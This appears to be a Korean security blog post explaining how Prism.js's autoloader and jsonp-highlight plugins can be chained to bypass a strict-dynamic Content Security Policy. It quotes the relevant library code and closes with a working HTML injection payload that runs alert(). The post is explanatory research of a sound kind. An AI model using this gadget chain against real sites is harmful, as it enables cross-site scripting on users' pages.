Prism Autoloader

Dec 30, 2025

Prism Autoloader + JSONP Highlight


Prism의 autoloader는 data-dependencies 값을 바탕으로 스크립트를 동적으로 로드하며, jsonp‑highlight는 data-jsonp를 사용해 <script src=...>를 삽입합니다.

CSP에 strict-dynamic이 설정되어 있으면, nonce가 붙은 Prism 스크립트가 추가한 스크립트가 출처 제한 없이 실행될 수 있어 XSS 체인이 성립합니다.

  • Prism Autoloader
function getDependencies(element) {
  var deps = (element.getAttribute('data-dependencies') || '').trim();
  if (!deps) {
    var parent = element.parentElement;
    if (parent && parent.tagName.toLowerCase() === 'pre') {
      deps = (parent.getAttribute('data-dependencies') || '').trim();
    }
  }
  return deps ? deps.split(/\s*,\s*/g) : [];
}

function getLanguagePath(lang) {
  return config.languages_path + 'prism-' + lang + (config.use_minified ? '.min' : '') + '.js';
}

getDependencies() 가 반환한 문자열들이 그대로 getLanguagePath(lang) 의 lang으로 들어가게 됩니다. data-dependencies="...”에 있는 각 항목이 deps 배열에 들어가고, 그 항목이 lang으로 그대로 전달되어 경로 문자열에 합쳐집니다.

최종 src = languages_path + "prism-" + (data-dependencies 값) + ".min.js"

https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/
  + "prism-/../../plugins/jsonp-highlight/prism-jsonp-highlight"
  + ".min.js"

결국 정규화 이후에 https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/plugins/jsonp-highlight/prism-jsonp-highlight.min.js 가 되어 다른 스크립트가 로딩됩니다.

  • JSONP Highlight
function jsonp(src, callbackParameter, onSuccess, onError) {
  var callbackName = 'prismjsonp' + jsonpCallbackCounter++;

  var uri = document.createElement('a');
  uri.href = src;
  uri.href += (uri.search ? '&' : '?') + (callbackParameter || 'callback') + '=' + callbackName;

  var script = document.createElement('script');
  script.src = uri.href;
  document.head.appendChild(script);
}

data-jsonp 값이 그대로 <script src>로 삽입됩니다.

<pre class="language-javascript" data-src="/" data-dependencies="/../../plugins/jsonp-highlight/prism-jsonp-highlight" data-jsonp="data:text/javascript;base64,YWxlcnQoKQ==#"></pre>

이런식으로 xss가 가능합니다.